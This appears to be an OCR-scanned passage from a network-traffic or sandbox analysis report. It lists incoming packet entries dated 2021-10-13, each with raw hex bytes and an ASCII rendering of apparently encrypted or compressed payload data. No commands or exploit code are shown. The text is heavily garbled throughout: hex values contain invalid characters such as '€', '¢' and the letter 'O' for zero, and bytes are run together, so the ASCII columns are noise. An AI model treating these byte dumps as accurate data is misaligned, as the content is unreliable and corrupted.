34 e4 16 c5 84 20 a9 92 4e cc 8d 97 4d 77 3c 98 94 4b e7 5c ac c7 Oa ba a3 b6 b9 fd 20 e4 91 b5 3e bb 07 ad c9 2b b8 58
8081 f2 f8 45 e2 c3 97 Oa 1f a8 50 d7 e7 73 5b 51 61 5b 93 4f ef 97 2a €9 85 d2 6¢ fO dc 2¢ 73 be 1f 8c ef 27 47 19 9f b5
d8 2b 57 b1 df a3 56 4b 02 a9 5f 5¢ f8 3d 7b 80 75 33 6¢ 8 9d 35 Oa ed f6 93 21 3e 4d ac 44 20 97 69 09 af cO 35 84 9d
86 2b 5¢ 54 e6 cd el 69 81 38 51 27 15 9c c4 fb 77 00 83 13 1a 1b 99 90 85 91 99 06 13 c1 22 36 6b 61 d5 2¢ 82 c¢7 b9 16
54 33 35 b9 30 ae 4b 01 fe ba 31 d3 e6 3c f2 78 9c ea
Data Ascii: #fMoheV=wq0[1 *aEhs%<Fv]8,uun%4 NMw<K\ >+XEPs[Qa[O*|,s'G+WVK_\={u3I5!>MD i5+\Ti8Q'w"6ka,
T350K1<x

2021-10-13 13:52:05 UTC 651 IN Data Raw: 5f b7 41 6d 17 f6 f2 cf cc 5a 48 5f 32 a7 66 f1 54 5b 3d a4 96 54 81 ad 4d 31 d5 b5 27 €6 77 a6 21 65 b8 f5 8e
b1 b5 5f 9¢ 69 16 36 2f 95 59 52 1f cd e3 b9 c9 a7 19 86 fc 6a 97 5f 4f a3 ae 8d b6 d8 65 9f b9 28 bf 2f ab 02 73 e6 c7 df di
ee bc 9c bf 09 4e cf f1 e7 ea c8 26 fa 7c 73 1e 86 1le 81 d3 9e e2 7b 25 91 ¢8 84 90 af 90 48 ac cd a8 00 84 66 93 6e 30
4e 6b dd e2 f7 af d4 25 b1 27 70 9b 9c 87 1c 7f 80 7c 16 3d b5 8c 0d aa fa b9 2c 65 3f c2 9b ac 7a 26 06 67 91 3e ee 5b
1d 58 4e dd 3a 2b 2e 21 63 6¢ 3a 62 f3 34 4f dO da 28 63 dd 84 91 9e ad 7d 92 2f 3f 93 64 4b e4 45 ef f0 e4 41 b0 86 5d
ad c0 62 3a 72 02 86 de a8 12 d4 71 55 ea bc c4 da cf ea 9d df d6 11 5a b5 16 ec 08 12 49 55 96 4b ae 5e 97 56 86 6e ba
6e 1c 5a 32 4a ad 3d 2f cf 95 fa b3 3a 1b 66 13
Data Ascii: _AmZH_2fT[=TM1'w!e_i6/YR]_Oe(/sN&|s{%HfnONk%'p|=,e?z&g>[XN:+.!cl:b40(c}/?dKEA]b:rqUZIUK"
Vnnz2J=/:f

2021-10-13 13:52:05 UTC 652 IN Data Raw: 76 b7 e6 2c 3e 06 9f 13 59 b5 eb 31 2d c0 ed 96 64 f4 16 dc dO fb 7d e2 22 3c 44 a8 be 2b 8e 49 08 14 aa 52
00 8f 4c 7afa aa 62 e4 60 4e ad 37 7a 59 45 ad 78 df 31 06 2f 68 19 13 29 d1 6d b1 05 26 97 39 99 b6 al f2 Ob d5 62 89
5502 44 58 ec 05 db 10 2e f4 Oa ea 69 17 Of 18 da e0 c2 a7 a3 49 40 6a 69 24 43 3e {7 ff el 1a 46 89 2a 29 26 46 77 ea
6a bf 8f de 10 c7 61 el a5 ea 37 66 €5 Ob 98 ac c5 a8 3a 04 be e4 b6 7c 23 ac dc 5¢c 36 18 ef 3c b5 ef 2f a0 13 38 6e c3 f1
ef 03 b1 4e 29 cb 8b 67 d0 66 48 a5 b6 a2 55 cd 79 Ob da a3 96 d6 02 fe 29 29 13 b6 98 91 60 f7 16 b2 Oe 28 cc 55 00 8e
cf 7e 60 96 49 51 e5 de 48 7c 68 58 35 1d 3a 43 61 29 bb a0 87 56 3e Oc 57 8d 55 cc ee d5 82 d2 d9 88 c8 ec d9 99 a2
3ab2 74 cd 9c 24 a4 03 fb 40 b2 e2 16 f9 al c7 b1 d6 53
Data Ascii: v,>Y1-d}"<D+IRLzb ’N7zYEx1/h)m&9bUDX.il@ji$C>F*)&Fwja7f:[#\6</8nN)gfHUy)) (U~ IQH|hX5:Ca)
V>WU:t$@S

2021-10-13 13:52:05 UTC 653 IN Data Raw: 10 c2 69 db a1l f1 32 39 8d 51 ed Oc da ac 61 8b 87 83 bd c5 9d 6d a8 dd 54 0f f9 f6 8d 74 10 7b {3 5f bc be 36
al b3 ae 23 04 eb ce 1c c7 10 84 05 8c 89 2f a2 78 86 82 cf 21 93 64 a6 a6 54 €6 5e 18 10 31 8b 65 97 10 Ob fb 98 9a e4
41 b9 0a 2b da fd b8 94 Oe 99 b9 48 1d ac 75 31 2c 5d cf d1 60 a7 d0 23 32 a7 37 49 9f e0 23 87 32 a4 a4 53 93 a4 02 6b
ec 74 5952 d1 a0 87 92 2a 6e 19 81 7e 3f 98 49 9f 59 27 70 fc 1a 7a a6 d3 9d 1d 4f 48 10 c1 ae 56 90 ea 51 4b 0a 8c ca
34 75 0c 1a 09 05 28 5¢c 17 89 91 dc 74 c0 64 e8 ac 04 03 ea 10 20 ec 82 45 6a 2d fc 19 ea bl fe 5a 28 eb e6 7a 04 fe 87
ef ee bb bc Oc 72 b4 1c 73 25 18 39 79 23 d3 88 3c 65 f2 c0 f7 b5 a7 bb 30 48 68 9a ad 28 6a 25 41 a3 02 8d 79 d9 38 6d
2c d4 fe a4 e2 6f 19 0d ef a5 7b 9c 9d 73 Oa da 16 f5
Data Ascii: i29QamTt{_6#/x!dT"1eA+Hul,]'#271#2SktYR*n~?IY'pzOHVQK4u(\td Ej-Z(zrs%9y#<e0Hh(j%Ay8m,ofs

2021-10-13 13:52:05 UTC 655 IN Data Raw: d1 ac e2 02 ab 42 53 ca 44 d6 5b 34 99 e5 a8 7d 0d 6a 85 e6 46 28 05 e6 fc 71 fd 93 fe 7a 39 ec b5 36 9c 65
95 27 57 05 ce 1b f7 ea 0d c5 65 a7 9e df 45 20 01 f4 64 63 bf c7 ec 39 22 5e Oe al ed 2e 70 68 b8 50 22 2e 5a 84 35 38
7c ae 9e 35 b5 b4 19 dc 4e d8 97 c1 cf 72 2f dd 2d 5¢ 6a 66 0d 8e 9d 92 36 a0 24 b0 a3 f0 12 ce f9 f3 af 95 a0 92 34 30
97 8b bd f0 4d 57 b9 d7 b2 38 78 80 a4 4b 7c c9 91 09 af 53 74 7d d4 ec 53 bd fO 9f ec 40 6b 4f 2b 8d 97 62 87 83 a9 ae
ea 5b 86 10 ca 71 c9 be ab 6f 45 d7 85 ff 60 aa Ob 7c bc 76 39 1f d5 e3 94 19 15 79 f1 55 99 1c b0 3c 05 6f 99 04 f2 f1 fe
f30c 86 7b 33 c1 57 a3 ec 82 ee 99 eb c1 ¢9 00 5 8 bd ¢5 1a d5 8d 10 83 53 00 d1 55 20 d7 5b bc 0a 45 73 dd bd 19 c9
7b 47 cf ab 31 c1 74 e5 25 Oc be 72 fc d8 b6 c0 cd ed
Data Ascii: BSD[4}jF(qz96e'WeE dc9"*.phP".Z58|5Nr/-\[f6$40MWBXK|St}S@kO+b[qoE [vOyU<o{3WSU [Es{G1t%r

2021-10-13 13:52:05 UTC 656 IN Data Raw: cd Oa 7e 8a af 04 9d 71 87 df ca 60 19 d7 ba ab 96 cc 1d 83 cf eb 58 7d 02 aa 91 24 af 9c 93 4e 8d 3e e0 49
97 65 f5 a4 73 50 ed b0 b5 11 16 43 Oa ab a5 39 el a7 5e 2c fd fc 9¢ d2 c5 04 78 78 3e 75 da 8a 92 b2 be 77 00 63 e9 26
d1 1a 93 38 a3 c3 6¢ 3a cb 7 6f f6 26 25 55 4c 67 ef 96 11 6d da 98 71 09 c1 fd 71 00 ca bl c1 95 76 af ab ec 96 62 09 d8
25 9a e6 7f d4 cc 6¢ a9 db b7 e8 fc 1b 2f 7d d5 Of 2f 32 93 8d 2e c6 b4 45 83 4e 3a b5 6d 09 ee 31 91 73 39 9a 51 2d a0
3 2b 49 db d5 27 c1 b8 65 28 4a 58 ca 48 el 1c b8 el 2c b6 3a 68 9d 7a 61 ea 1b 72 a5 70 8e cd 3d 15 b7 10 09 e9 67
84 ¢5 57 8e 93 10 64 5 b0 2b 86 ¢3 01 08 ea b8 9¢ d9 d2 85 d5 60 bl 82 8a 34 9d 5f e3 fa 7c b9 14 86 73 ee d8 45 1e b9
bc be 98 8a 5f 9b be 51 7c 16 6a 34 84 46 8d 40 6b 89 25
Data Ascii: ~q X}$N>lesPC9" xx>uwc&8l:0&%ULgmaqvb%l/}/2.EN:m1s9Q-+I'e(JXH,:hzarp=gWd+'4_|sE_Q|j4F@k%

2021-10-13 13:52:05 UTC 657 IN Data Raw: 9d ff 9b ca 96 ab d6 64 a3 74 c4 3e 1f 61 el ea 55 8d 09 37 83 4e f2 8b 44 9a ea ed cd 7c 88 €8 4f 09 a3 19 16
4a 7 79 90 88 ed c1 2c 5f b5 04 f2 87 39 02 f4 60 d7 30 8 e6 f5 60 9d 92 9d e8 2d d8 al al 52 41 20 14 6f 32 1f 3e 52 b3
84 27 b9 54 3d 40 9a 51 c1 10 53 eb 6f 5b 28 8¢ €7 46 b2 c6 1d 14 db c2 5e c4 36 f6 87 32 aa 8d 28 6e 86 a2 50 23 e5 9d
ff c8 4b 38 7d 76 27 7d 30 a0 f8 2a a1l 01 12 9a 78 96 ed 4a 07 bf 05 05 fb de 7d f5 Oc 3f cb 2b 91 ea 65 fc 4c d2 03 6a 42
00 30 42 79 8e b0 06 4c 78 30 df 4f d1 54 83 9f f3 31 1d 82 c0 d0O 7a 5e db 8 77 3c 3a 9f bd 91 89 73 9c cc ed fb a4 74 8f
b0 8d 9d 8¢ 4c 48 55 31 7b 34 fe a7 b7 Oc cc ¢5 71 56 a0 7b 67 32 67 €6 34 97 4a f6 4a 35 c6 dd 58 a4 ab 71 72 13 d2 7c
27 24 9d bd 50 87 18 ca ae 03 18 ab be 53 fb
Data Ascii: dt>aU7ND|OJy,_9'0"-RA 02>R'T=@QSo[(F"62(nP#K8}v'}0*xJ}?+eLjBOBYyLx00T 1z w<:stLHU1{4qV{g2g
4335Xqr|'$PS

2021-10-13 13:52:05 UTC 658 IN Data Raw: f4 64 82 0b 15 03 19 71 ed d3 4c d4 00 a5 37 9c 3f ¢6 32 10 16 3d dc 1e 3d 52 68 81 bb 32 91 e6 bd d4 5d cb
8d 16 60 31 77 29 67 9b 68 d7 a9 fc al 36 6b 44 a7 0d f3 72 d9 47 43 1e 68 f1 62 d9 65 4a 3b 94 97 68 ec 4d 3d 3a db 0d
fe Oc a2 96 00 5d 71 7e 27 14 4f 17 9b d3 3e 90 39 f7 db db 73 2b 37 90 41 57 1c dc 7e 87 4f 96 14 87 49 38 43 6a c5 d4
7c e5 fe 1f 49 04 2f 4c 1d 62 6d a2 90 55 28 bc a8 0d 78 fc 8a b5 c6 a4 a7 dd 59 ac 82 3e fc 90 79 b9 0f fd 7d fa e7 a6 44
d3 98 ae 6d €9 ¢5 5f 77 7b 97 34 9d 49 65 70 01 db c8 8c ba 95 b9 ee 99 ac c0 3f f5 67 60 08 6¢ ee €3 d1 99 c3 ad 74 12
b2 5e 33 94 5d 4c 42 40 2 9a 7 3d b0 fb 09 ef f9 37 98 48 84 13 c8 5f fa d8 88 50 36 62 bc ¢8 5b 45 9f bd 74 8¢ Oc 3e 3a
90 37 ca 96 2f 2¢c 6a 02 ec 35 ae 13 07 1b 60 ba 79
Data Ascii: dqL7?2==Rh2] 1w)gh6kDrGChbeJ;hM=:]q~'0>9s+7AW~OI8C;j|l/LbmU(xY>y}Dm_w{4lep?g It"3|LB@=7H_
P6b[Et>:7/,j5'y
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 660 IN Data Raw: ef 39 Oc 68 35 20 18 14 7b 3d cd 9c 3b 8d c0 18 90 f3 52 32 al 13 0c 52 93 61 0f d9 b4 c3 fb 1d ae 8b a9 1d e2
15 62 e5 c8 fa d6 €8 30 04 c4 b5 89 d0 4a a9 62 60 4a bc 98 €8 95 b2 36 90 6d 3a f2 60 92 c2 Oe 59 4e 1d 99 81 63 33 f7
a6 72 1a 90 56 50 24 62 ac 29 a7 c5 9b b5 b9 76 43 59 2¢ 5 54 71 55 33 41 42 09 99 48 f3 ff 81 09 4c e0 e2 a5 88 30 Of
la 7a b0 df fd 80 b6 de 02 0Of 87 19 fd 6¢c Oe 30 49 05 92 21 07 ef 2e ff 56 7a 9d 74 db c6 c7 c1 f7 45 6¢ 53 75 75 63 33 a7
74 31 0f00 18 cacc 4d 4c e5 1b 88 b1 77 09 e2 e5 4f 6a d2 e3 24 bf 41 4c 52 05 a5 3c 49 76 8¢ 47 13 4f 0f b7 2c 86 1f eb
€6 f4 9¢c 99 e9 4a 97 6¢ 98 fe d2 e5 17 3d 6b c6 al 15 f5 a2 14 ee 6¢ f1 ea 72 fa 07 1c 05 96 97 8b 89 fa 22 03 Oc 36 03 9b
7a 92 c5 70 2d 9b 1f 66 48 95 24 32 f3 b0 7b
Data Ascii: 9h5 {=;R2Rab0Jb J6m:" YNc3rVP$b)vCY,TqU3ABHLOzIOI!.VZtEISuuc3tIMLWOJ$ALR<IVGO,JI=kIr"6zp-fH$2{

2021-10-13 13:52:05 UTC 661 IN Data Raw: c¢3 ae 57 42 f0 d4 d1 fO 11 b5 12 72 52 33 3f 3d 67 03 fc 29 Ob ec 66 b7 12 55 €5 3c 57 96 4b 54 4e e2 e1 11
dd a9 79 ac eb 61 e9 23 ee ad dd 4a 33 fc f8 56 9e ea 4c c3 e7 2a f2 cO e9 a6 ef 5d 09 84 da b7 1c 1d 95 9e 7d f6 el 92
bc 60 ad 5¢ fd 7f 1e 86 6b 16 36 95 32 5¢ 0a 3e 59 53 2f 34 35 b5 24 f6 98 cc 13 28 81 1b 2a 6a 1f ed f0 08 67 ce e6 93 c1
6 ce a6 5d 1c 62 9d 8 25 83 54 d5 d6 f3 99 8e e7 31 38 Oc 5e 73 bl 4c f1 de 55 91 dc 71 12 d4 Oa c4 bf 1f 12 6b 07 a6 4c
bc e5 47 9f d4 e8 b7 b3 07 al 7a 40 17 35 f8 27 6 8¢c 69 a3 2b 71 23 f4 79 f6 dO 09 7d c8 fO d1 5¢ 15 c7 2e f1 71 03 df e3
59 d2 al bf c0 ab 1d 20 ca dd a6 2c ab e9 ad 35 dd 2f af 00 fc 8c 26 58 71 cd da 64 c8 7c 8c 52 df 37 31 99 2e ab 7f a4 25
el 6f 14 dc 95 33 94 c7 92 2a cc 22 aa 2b d9
Data Ascii: WBrR3?=g)fU<WKTNya#J3VL*]} \k62\>Y S/45$(*jg]b%T18"sLUgkLGz@5'i+q#y}\.qY ,5/&Xqd|R71.%03*"+

2021-10-13 13:52:05 UTC 662 IN Data Raw: fd 77 6d d5 53 8b 5a 7c 5e 7f 5f 16 b0 df c6 93 f5 ad 7b bc c2 ff 4a 8b 46 8f 98 cc 5¢ 6¢ 7a 49 f3 f5 4f 09 ed d1
ec a6 8d 03 0b 95 f9 0d 7b 22 d4 c6 8 f1 5¢c 66 f1 da 24 20 3b 6 bf 7c 13 51 93 7 60 a6 15 44 2d cb 66 ee c9 be bd 8a d8
06 94 94 4a 20 69 a8 af b3 d9 47 60 24 9c 95 e6 1b d6 37 14 cf c1 44 09 29 04 9e d7 dd Oa b4 94 33 79 1b 48 d5 Ob ed 95
2987 73 62 7a 01 5f 10 1f 2f b5 d2 a9 7c 96 67 €6 85 f1 ae c0 29 b3 bl 67 d7 57 35 91 28 3d e3 76 d3 b9 56 9e 75 94 8e
8f 1b b2 b7 Ob a4 e2 5a 15 c9 df 40 cb c2 d2 8e 99 88 cc d8 71 3b 9a 31 da 52 e5 ec b3 32 6d d2 91 bf 86 7a d6 d7 be 29
df 5f d3 a0 fa 8e 52 88 56 d4 5b b9 3 16 d2 af f5 01 91 e4 90 85 63 14 1a 68 ea 5a 16 0f 78 3a ba 30 67 f5 b6 d2 d8 db 09
a5 45 d2 7e 51 09 e9 ba d1 6b e0 b0 10 1e 47
Data Ascii: wmSZ|* {JF\zIO{"\f$ ;|Q D-fJ iG $7D)3yH)sbz_/|g)gW5(=vVuZ@q;1R2mz)_RV[chZx:0gE~QkG

2021-10-13 13:52:05 UTC 663 IN Data Raw: 99 2e 68 ad 0Oa 38 59 81 8a 72 30 1f 99 85 db 38 c1 28 2f ef a4 2d d7 88 ba 5a f3 48 f8 5e aa 67 92 9c 72 3b 2d
a4 49 ce 57 5a al a9 33 26 f5 b4 4d 27 a9 f2 1b 52 9b 29 c0 29 b5 7f bf 92 91 cb db 4e f5 20 50 c9 48 7 fc d8 f1 3c 6e 5f
05 83 27 c8 01 5e 84 db a4 43 ed b9 23 3f df 6d 07 99 6d 85 b4 6b 62 aa 64 bd 98 d6 79 dd 78 88 70 37 17 4d 32 7f 49 32
8d 3b 1c f6 09 a2 03 fd b9 d8 00 ee 4f f1 12 3e f7 89 2f Ob c0 00 b3 7f c8 53 18 €9 ab 91 7b 6d ab 40 9b f0 87 4b 18 ad b5
bd 89 55 bb 95 4b 5f 4f 5e Of 3e a8 6b de 26 93 d9 d3 c5 12 68 fc 00 80 a4 06 c2 7e 06 36 87 99 11 ee 26 le 1d b7 58 62
2e aa be 74 77 bb 7a b6 7d 11 b8 54 da d0 af 75 6¢ 73 5¢ 21 34 cb f2 81 44 90 b8 b3 d2 ec f4 8c b5 14 52 b3 49 04 d7 bf
42 fb 09 46 d3 64 4c 60 fa ba 5e 3b 4d 86 90 8b
Data Ascii: .h8Yr08(/-ZH"gr;-IWZ3&M'R))N PH<n_"*C#?mmkbdyxp7M212;0>/S{m@KUK_0">k&h~6&Xb.twz}Tuls\!4D
RIBFdL;M

2021-10-13 13:52:05 UTC 664 IN Data Raw: 58 el f2 80 84 be 02 45 fa d0 Oc Oa f4 54 56 11 61 6b 26 65 61 el 18 01 86 d8 10 cb d5 e9 b8 db 62 5a 2b e3
75 b7 8a 04 fa 50 98 26 a5 a6 90 ff 87 ca 9a f0 99 6e ae 44 3f fd aa Oe 6¢ 52 c4 fc 49 67 a5 bd 4f 50 3b b3 79 f3 79 ¢9 12
7d 518 c9 el c3 92 2b 01 97 17 58 a9 c2 b3 46 15 eb 66 €6 3c 43 27 5f b7 a6 94 1f el 9c ¢7 99 97 5 9 cf 65 e5 d1 90 8a
67 3d 61 b8 63 bc 07 7f aa e3 7 fe 43 5¢ 31 6a 40 35 1f 2d 64 bc 52 69 09 20 be fd dd a9 38 f9 63 d2 3d 38 e2 db 2b 20 ce
23 d2 d2 36 f3 26 8f a3 60 9d 08 95 49 d6 50 40 94 a5 9a c8 28 €3 79 20 b9 14 bc e7 a4 d8 19 64 2a 12 3f 91 93 50 a4 le
5fad 88 cf 84 af 75 51 93 77 63 d2 9b 0d ba 06 31 70 56 18 a6 92 f5 75 80 64 ca d3 ab Of 1d b3 93 58 c4 45 9e db 54 00
21 8c 8e 78 1d 18 09 d7 97 78 a7 18 fc 5d d8 93
Data Ascii: XETVak&eabZ+uP&nD?IRIgOP;yy}+XFf<C'_eg=acC\1j@5-dRi 8c=8+ #6& IP@(y d*?P_uQwc1pVudXET!xx]

2021-10-13 13:52:05 UTC 666 IN Data Raw: 47 d7 65 b5 eb a2 5c¢ f9 ¢9 65 20 88 6¢ b0 f9 bb 00 9a €8 98 20 dd 4c 31 58 63 56 46 ae 1f 95 27 f2 el 68 95 61
81 88 a6 cc a3 fc b2 a6 d7 53 20 d4 2d e6 f4 bb 6e 84 be 4f d3 8a 34 da Oa e5 a5 d6 el c6 8f cd a2 c2 3a 60 07 28 b9 cb
72 2b 0d 42 10 21 32 c4 a3 72 Oa ab a8 f7 83 09 13 66 c8 9b df 6a d6 49 fd c4 01 ed 8f 7e al 6¢ 18 54 56 0d b0 8e eb df
5557 09 5¢ bd 07 19 c5 50 8d a7 8f 7f 41 16 04 88 72 a4 81 2f 58 57 34 ¢1 46 Oc 94 09 92 6e 04 66 69 05 b2 52 5¢ ac 65
38 62 6e 5a 7d ce 74 0a 33 13 42 26 c4 53 1b a6 €9 1b df 5¢c a4 0d 47 26 62 cb 6d 6d f1 Ob bf 75 3d aa 69 37 08 65 6d f4
00 8b f0 88 ad 3f 43 3d 95 96 b0 34 2d 16 08 64 03 1f 5b 2d bb 27 5a 39 62 12 1d 9a fd 5d c1 2c d0 89 54 €9 e0 cd c6 c9
e5 3a le ae 1c 8a 0a 09 8e b5 ce 79 ch d9 e3 e3 2f ae
Data Ascii: Ge\e | L1XcVF'haS -nO4: (r+B!2rfjl~ITVUW\PAr/XWA4FnfiR\e8bn Z}t3B&S\G&bmmu=i7em?C=4-d[-'Z9b], T:y/

2021-10-13 13:52:05 UTC 667 IN Data Raw: 3b b3 ed f6 01 8e 59 52 4f f4 3f e3 ff 6b df 93 02 fc c6 8a 39 ae c4 bf 01 4a fc 05 86 a5 fa ce b9 fa 24 08 ea 6e
21 46 d8 cc 40 0f 52 56 63 ad ec d8 58 d2 Oe 01 43 02 54 45 ed dO f6 8b 2b 64 fd 1f 32 23 db d8 2c 22 d1 d2 61 40 01 8d
ac d4 75 a9 5d 22 78 7b 64 29 ¢3 67 58 59 6a d8 79 7c 8c be cb 79 12 3c 9b 55 82 c2 1a db fO ca 94 db 3e 89 11 c9 61 la
94 45 93 e6 c3 e6 1b 6e 52 ¢3 24 a9 e9 bf 8¢c 90 e4 df bl aa 2a c4 13 d9 2c c5 9a d4 ef Oe a7 75 b1 f3 35 bc f1 6¢ d8 75 dEt
cb 3f ff 2c a9 ab 97 c9 4d 82 bb d4 56 d6 2b 4f 81 99 c5 28 Oe 83 de fO 15 ab 89 8d b6 4e f8 55 16 a0 d2 d8 e5 9d ca c5 a5
5a b0 18 cf 3a 77 36 1c 46 11 33 3f f1 18 a6 Oa 3b 29 aa a3 4a 61 93 27 Oc 84 5d 3 a2 a3 6¢ 5f 03 02 29 15 fd 6f al 13 d8
40 cf 8a 80 01 7b 29 31 4e 8d df 84 b2 89
Data Ascii: ;YRO?k9J$n!F@RVCcXCTE+d2#,"a@u]"x{d)gXYjyly<U>aEnR$*,u5lu?,MV+O(NUZ:w6F3?;)Ja’]l_Jo@{)1N

2021-10-13 13:52:05 UTC 668 IN Data Raw: f3 da 8b 41 59 48 15 21 56 c4 38 6e ee f9 da 6¢ Oe 89 93 99 80 e6 6d 35 ad 1b a2 71 69 2a bl b9 49 76 4c 42
65 e4 70 69 c8 62 d8 01 09 76 b8 80 €5 41 61 7c a3 f0 2e ca 8f 23 01 e8 3d b9 78 83 97 b7 4e 54 70 5e fa f6 fc cf Ob 61
4416 73 el db b4 37 21 d3 63 86 d6 75 62 02 ee 34 af 58 54 d4 60 79 ab cc 38 1c ef ¢6 75 db Of 4e 97 45 6e 3d 78 71 49
4f 22 56 4 78 cc 5e 47 0d €9 25 al b0 f4 0a e4 bd 34 Of ca bl 15 b7 d6 fd 64 08 c3 7d 3a 3d 04 53 35 17 d4 8f 8¢ 5e 4e
0a 2b 18 d4 34 7d 81 2e 83 57 45 20 {8 12 f1 b7 a2 ba bb 3e 78 02 62 61 Ob de bd d9 d6 12 e7 8c ac 25 ea 98 0b 9d ba 03
c2 a7 22 1d fb 84 1e ba 4c c6 cc 64 79 d2 d3 98 65 db c0 al 5 57 5a 16 83 59 eb 9e 89 6e 37 3f 31 33 0b al €0 af 25 2e
a3 3d 6 ¢8 a5 cc 4c b2 25 f1 0f 09 5d 5f 32 0 8a e5 7b
Data Ascii: AYHIV8nimS5qi*lvLBepibvAa| #=xNTpraDs7!cub4XT y8uNEN=xqlO"Vx"G%4d}:=S5"N+4}.WE >xba%"Ldye
AWZYN7213%.=IL%)]_2{

2021-10-13 13:52:05 UTC 669 IN Data Raw: 65 42 7f 20 e3 eb 2b b8 68 ab ce ff 7a 05 €5 65 14 cb 17 a3 29 41 36 71 e0 f5 42 0a 9f 5f b6 6¢ 2e 33 4b 2 89
36 2d 8¢ 25 18 a8 01 79 98 2b b1 7a b6 9b 81 53 b3 ec 31 97 71 2d 86 6e d6 4d 2a 1a 81 96 73 ec 33 af Ob 28 2¢ 21 b3
bd 6e 53 a3 8¢ 7b e5 5a 9b b8 77 c4 08 a6 21 b8 27 e4 1f 61 2b 22 8c 9c be be 3e 12 6b 2a c7 26 9d 92 e4 10 32 fe 7b bf
b7 Of 4f 88 4a 7f 06 d8 1a f3 Ob 47 6e 7e 45 Oe 09 74 cd 05 d1 dO 6c d4 7f 90 99 e4 d0 ac 1c 9a 8 6¢ 76 4f 8f 9e 4f fc 13
a333d1 26 d5 2f 9593 d9 f7 70 51 85 95 ed 79 d7 14 9e 3f 87 83 2d 1a 71 5c bc 34 de 39 8b 16 dd c2 67 1d c3 b2 7e 82
1f ff 26 eb 6b 09 ee 4b 37 e7 cf e2 35 ea 17 56 17 16 f1 ee ab ea fe 4c ae 2d fe 35 72 ef 4c e5 1d 84 9b 3c 7a 23 95 bl e2
f2 2115 e85 68 3a a3 d7 c0 d4 e0 14 4d 67 76 b9
Data Ascii: eB +hze)A60B_|.3K6-%y+zS1q-nM*s3(,!nS{Zw!'a+">k*&2{0JGn~EtllvOO3&/pQy?-q\49g~&KkK75VL-5rL
<zi#!h:Mgv

2021-10-13 13:52:05 UTC 671 IN Data Raw: 9a c3 6b ed 42 94 13 7e 89 c9 95 29 89 02 3a 96 09 78 3b be 03 bc fc 00 c5 fe fb ed 5b d9 cb 4f 3f a5 a3 15 aa
152e 3a 68 7e cl al 7e c4 b9 7b 76 Oe df 11 ¢9 24 c5 1f 82 €6 91 2a a5 0c 93 a4 e7 11 8a 4d f5 3c Ob b1 16 17 13 e4 2d
6391 45 c2 81 4e 79 b5 51 b4 76 51 91 c9 2a 13 3b eb 3e 2d 25 91 12 49 02 99 5f ea d9 9a 7d 20 fb 57 ff 9¢ 25 1c f8 36
ba 55 77 26 c4 7d 07 8¢ 94 b8 d9 18 48 74 7b 60 6 d3 61 3d 51 26 c9 6d d2 64 Oe 26 2f 5a 32 50 eb 35 2f 9e 8d b4 d6 69
7b d9 57 al b3 bd 46 90 28 11 e7 19 40 89 30 71 3f ec db f0 18 52 8a a9 fc 64 eb 34 d8 48 92 31 84 a3 7d 22 b7 03 1d 5¢c
52 b6 b3 56 a4 cc a8 54 eb bf 7b ¢3 f4 5d db 82 8e 18 6d ed 01 ee 5e 76 fd b6 03 33 fa 9b 40 al 04 17 d3 9d 29 41 dd e5
a5 3d 3a 3d 38 5a da d7 78 85 ed fa 36 8d 40 95 88 ad
Data Ascii: kB~):x;[0?.:h~~{v$*M<-cENyQVQ*;>-%I_} W%6UW&}H{'a=Q&md&/Z2P5/{WF(@0q?Rd4H1}"\RVT{Im"v3
@)A=:=8Zx6@
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 672 IN Data Raw: d6 5d 11 1c 16 ba e5 a9 a0 49 00 2 45 8c ae 34 96 57 33 7c 70 Oe 3e 16 2b 6 f2 7f e2 27 4e 28 03 5f 32 ee fb
3d a6 f4 db 2b fc 30 e5 ee 9c 11 ba 0d 65 41 81 93 c2 ac 88 4e e4 77 69 3d 81 f6 d6 07 98 7b f2 ee 15 1d 06 5e a5 49 11
31e0e2c3d441aadd?21771a01 01 be 2f 9e 9b 44 74 5 2f 1e b9 3d 5d f7 73 e5 b8 00 el 3c f9 be e7 f4 10 df 63 52 5f
bd Oe 16 46 74 4e 63 e1 04 73 8b b1 02 39 19 e2 bb 8e 59 3c e5 9b 13 e8 7c e0 e8 b9 8c b6 82 90 46 b8 a5 el f5 ab 1b
c0 8a eb 6d 63 03 22 91 23 57 e3 26 2c al 3c 52 c6 cb 23 04 67 00 79 a9 85 21 22 8¢ 30 78 13 ef b7 e6 19 97 fd 9a 3f 56
37 5a 96 32 17 ca c0 fb 12 1d 4e 25 4b fO ff 58 c2 e0 a7 7e 5c¢ ff 77 d6 38 de d1 53 ed dc 25 8f 6f 62 d5 47 ff 83 91 6 68 2f
e0 2e 1f 8a f2 97 d3 06 1e c0 Od 79 f9 c6 31 40
Data Ascii: [IE4AW3|p>+'N(_2=+0eANwi={"|1AM!w/Dt/=]s<cR_FtNcs9Y<|Fmc"#W&,<R#gy!"0x?V7Z2N%KX~\w8S%0bGh
Lyl@

2021-10-13 13:52:05 UTC 673 IN Data Raw: 84 d6 ab 7c e8 57 a6 2f 2a 6e 23 a3 47 52 57 e7 3d c8 83 0a 46 1e d1 02 2d 32 2e 8b 7d 83 7a 9b 55 09 69 69
af 76 3e 2d dO 8f 3b 61 be 55 aa 55 61 43 el 2f 52 8d 5f Ob 09 22 2d 6a f9 71 ea 7 ab 4d d9 03 5d 1a 3d bb 65 55 eb 62
87 41 49 84 50 41 8c 4a 30 55 75 43 2b 23 0a 57 7e dc 71 e7 6a a3 77 5a 56 fe d9 30 39 34 f9 45 46 24 92 72 5¢ 2a 81 39
8875 97 bc cO ee d6 49 13 10 cO 16 66 4e bd 9f al e7 Oc d4 31 d4 66 e7 de 97 84 b9 fb 3e 70 9f el 50 96 ba 1e 3d 9b c1
1d 56 f5 08 22 12 f3 0d 36 d7 1a 1d 3b 93 75 01 24 cd 85 e8 a3 25 ad d2 ab 6f cc a4 09 df 39 cb 9e 10 fb 43 65 fc b2 65 af
7176 36d8c7c9ec0347 83 aa26 16 4c dl 6¢c8aeb 17 52 a7 a3 e7 cf 24 1e 77 cc e4 08 2f fb 24 ec 8a 42 ac d4 4f 38
12 2b c0 6¢ 4d 7f 99 d5 e0 8f ca c6 52 e6 85 ff f4 70
Data Ascii: [W/*n#GRW=F-2.}zUiiv>-;aUUaC/R_"-jgM]=eUbAIPAJOUUC+#W~qjwZV0O94EF$r\*QuIfN1f>pP=V"6;u$%09
Ceeqv6G&LIR$W/$BO8+IMRp

